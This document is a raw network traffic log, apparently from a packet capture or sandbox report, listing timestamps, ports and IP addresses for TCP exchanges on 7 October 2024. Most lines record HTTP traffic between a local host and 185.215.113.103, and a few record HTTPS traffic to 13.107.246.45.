Oct 7, 2024 03:23:09.722672939 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722774029 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722822905 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722822905 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722871065 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722876072 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722903967 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722918987 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722934961 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722951889 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722978115 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723227978 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723261118 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723270893 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723308086 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723309994 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723356009 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723357916 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723397970 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723412037 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723443985 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723459959 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723490953 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723581076 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723613977 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723632097 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723645926 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723655939 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723678112 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723681927 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723711014 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723716974 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723742008 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723751068 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723774910 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723782063 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723817110 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.723925114 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723975897 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.723977089 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724023104 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724090099 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724137068 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724225044 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724262953 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724277020 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724304914 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724311113 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724340916 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724358082 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724373102 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724381924 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724405050 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724414110 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724436998 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724452019 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724467039 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724484921 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724499941 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724508047 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724531889 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724541903 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724562883 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724571943 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724605083 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724891901 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724941969 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.724946022 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724986076 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.724989891 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.725023985 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.725040913 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.725055933 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.725064993 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.725087881 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.725095987 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.725119114 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.725133896 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.725163937 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.733542919 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.734076977 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.734093904 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.734673023 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.734679937 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.833602905 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.833748102 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.833802938 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.833945036 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.833950043 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.833959103 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.833962917 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.836436033 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.836510897 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.836592913 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.836734056 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.836772919 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.854909897 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.854945898 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.854968071 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855093002 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855317116 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855369091 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855369091 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855415106 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855432987 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855467081 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855499983 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855516911 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855535030 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855556011 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855566025 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855598927 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855607986 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855632067 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855638027 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855664015 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855675936 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855698109 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855703115 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855727911 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855736971 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855761051 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855771065 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855842113 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855859041 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855882883 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855892897 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.855940104 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.855978012 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856009960 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856028080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856041908 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856050014 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856076002 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856080055 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856106997 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856120110 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856139898 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856144905 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856169939 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856182098 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856203079 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856209040 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856232882 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856250048 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856265068 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856276035 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856296062 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856306076 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856328964 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856336117 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856359005 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856375933 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856390953 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856400967 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856435061 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856440067 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856470108 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856492043 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856503963 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856518984 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856549025 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856558084 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856580019 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856587887 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856611967 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856620073 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856647015 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856651068 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856678009 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856695890 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856709003 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856719971 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856739998 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856750011 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856786966 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.856787920 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.856834888 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857079983 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857110977 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857131958 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857142925 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857157946 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857175112 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857191086 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857215881 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857223034 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857254028 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857263088 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857285976 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857297897 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857316971 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857332945 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857348919 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857362032 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857379913 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857395887 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857412100 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857425928 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857443094 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857458115 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857475042 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857490063 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857506990 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857515097 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857538939 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857556105 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857570887 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.857580900 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.857614994 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.859821081 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.859853029 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.859879017 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.859885931 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.859894991 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.859918118 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.859925032 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.859956026 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.859966993 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.859997988 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860007048 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860035896 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860045910 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860078096 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860088110 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860109091 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860121965 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860140085 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860152960 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860169888 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860188961 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860203028 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860217094 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860235929 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860321999 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860353947 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860373020 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860384941 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860387087 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860414028 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860428095 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860455990 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860547066 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860578060 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860594988 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860610962 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860618114 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860639095 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.860651016 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.860677958 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949299097 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949392080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949460030 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949508905 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949510098 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949542046 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949561119 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949589014 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949609041 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949659109 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949661016 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949702978 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949707985 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949738979 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949752092 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949769974 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949776888 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949801922 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949815989 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949843884 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949866056 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949898005 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949913025 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949928045 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949937105 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949959993 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.949975014 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.949990034 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.950004101 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.950021982 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.950030088 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.950052977 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.950063944 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.950084925 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.950095892 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.950118065 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.950124025 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.950158119 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186132908 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186171055 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186203957 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186245918 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186254978 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186286926 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186288118 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186300993 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186321020 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186326981 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186352968 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186364889 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186386108 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186387062 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186414957 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186429024 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186449051 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186464071 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186496019 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186501980 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186527967 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186541080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186559916 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186566114 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186590910 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186598063 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186631918 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186640978 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186672926 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186692953 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186707020 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186707973 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186738968 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186759949 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186772108 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186780930 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186822891 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186851978 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186856031 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186860085 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186887980 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186897993 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186920881 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:10.186928988 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:10.186952114 CEST	80	49810	185.215.113.103	192.168.2.4
